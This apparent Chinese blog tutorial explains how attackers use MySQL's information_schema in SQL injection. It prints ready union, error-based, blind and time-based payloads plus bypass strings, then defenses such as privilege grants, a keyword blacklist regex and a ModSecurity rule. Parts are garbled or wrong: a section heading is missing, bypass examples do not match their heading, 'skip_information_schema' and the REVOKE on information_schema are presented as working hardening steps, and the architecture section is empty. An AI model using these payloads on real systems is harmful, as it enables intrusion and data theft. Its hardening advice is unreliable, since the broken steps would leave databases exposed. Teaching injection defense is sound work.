MySQL的information_schema在SQL注入中的关键作用与防御策略

一、information_schema的核心价值

二、攻击利用场景与示例

[1. 联合查询注入（Union-Based）](#1. 联合查询注入（Union-Based）)

[2. 报错注入（Error-Based）](#2. 报错注入（Error-Based）)

[3. 布尔盲注（Boolean Blind）](#3. 布尔盲注（Boolean Blind）)

[4. 时间盲注（Time-Based）](#4. 时间盲注（Time-Based）)

三、攻击链中的关键步骤

四、不同MySQL版本的差异

五、防御策略与实战方案

[1. 最小权限原则](#1. 最小权限原则)

[2. 输入过滤与拦截](#2. 输入过滤与拦截)

[3. 数据库加固](#3. 数据库加固)

[4. WAF规则示例（ModSecurity）](#4. WAF规则示例（ModSecurity）)

六、进阶绕过技术及应对

[1. 编码绕过](#1. 编码绕过)

[2. 替代元数据源](#2. 替代元数据源)

[3. 基于时间的模糊探测](#3. 基于时间的模糊探测)

七、企业级防御架构

结语

一、`information_schema`的核心价值

information_schema是MySQL默认的系统数据库，存储了所有数据库的元数据信息。在SQL注入攻击中，它相当于攻击者的"地图"，用于探测目标数据库结构，具体包含以下关键表：

TABLES ：记录所有表名及所属数据库（table_name, table_schema）
COLUMNS ：记录所有列名及所属表（column_name, table_name）
SCHEMATA ：列出所有数据库名（schema_name）
USER_PRIVILEGES：用户权限信息

二、攻击利用场景与示例

1. 联合查询注入（Union-Based）

通过联合查询直接读取元数据：

复制代码

' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()--

结果示例：

复制代码

+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users      | app_db       |
| orders     | app_db       |
+------------+--------------+

2. 报错注入（Error-Based）

利用报错函数提取信息：

复制代码

' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))--

报错输出：

复制代码

XPATH syntax error: '~password'

逐字符猜测表名：

复制代码

' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'--

若页面返回正常，说明第一个表名的首字母是u。

4. 时间盲注（Time-Based）

通过延时判断数据存在性：

复制代码

' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)--

若响应延迟5秒，说明当前数据库存在超过5张表。

三、攻击链中的关键步骤

枚举数据库 ：

复制代码

SELECT schema_name FROM information_schema.schemata

定位目标表 ：

复制代码

SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'

获取字段结构 ：

复制代码

SELECT column_name FROM information_schema.columns WHERE table_name='users'

构造最终Payload ：

复制代码

UNION SELECT username, password FROM users--

四、不同MySQL版本的差异

版本范围	`information_schema`访问特性	注入影响
MySQL < 5.0	无`information_schema`	需暴力猜解表名/列名
MySQL 5.0-5.6	完整元数据访问，默认对所有用户可见	攻击者可完整枚举数据库结构
MySQL ≥ 5.7	引入`performance_schema`，部分权限受限	需`SELECT`权限访问元数据

五、防御策略与实战方案

1. 最小权限原则

应用账户权限配置 ：

复制代码

CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!';
GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%';
REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';

2. 输入过滤与拦截

黑名单过滤关键词 （正则示例）：
复制代码
```
(information_schema\.(tables|columns)|schema_name\b)
```

参数化查询 （Python示例）：

复制代码

cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

3. 数据库加固

禁用元数据访问 （需重启）：
复制代码
```
[mysqld]
skip_information_schema
```

日志监控可疑查询 ：

复制代码

SELECT * FROM mysql.general_log 
WHERE argument LIKE '%information_schema%';

4. WAF规则示例（ModSecurity）

复制代码

SecRule ARGS "@contains information_schema" \
    "id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"

六、进阶绕过技术及应对

1. 编码绕过

十六进制编码 ：

复制代码

UNION SELECT * FROM information_schema.`TABLES` -- 正常访问
UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 双写绕过
' UNION SELECT * FROM info%72mation_schema.tables -- URL编码

2. 替代元数据源

当information_schema不可用时，攻击者可能尝试：

mysql系统库 （需更高权限）：
复制代码
```
SELECT db, table_name FROM mysql.db
```

暴力猜解 ：

复制代码

AND (SELECT COUNT(*) FROM users) > 0 -- 假设存在users表

3. 基于时间的模糊探测

复制代码

IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)

七、企业级防御架构

复制代码

结语

information_schema是SQL注入攻击的"战略要地"，防御需建立多层防线：

权限最小化：严格限制数据库账户权限
输入消毒：结合正则过滤与参数化查询
深度监控：实时审计敏感元数据访问行为
纵深防御：WAF与数据库防火墙联动防护

通过代码层、网络层、数据库层的三重加固，可有效遏制攻击者利用系统元数据实施数据泄露，将SQL注入的危害降到最低。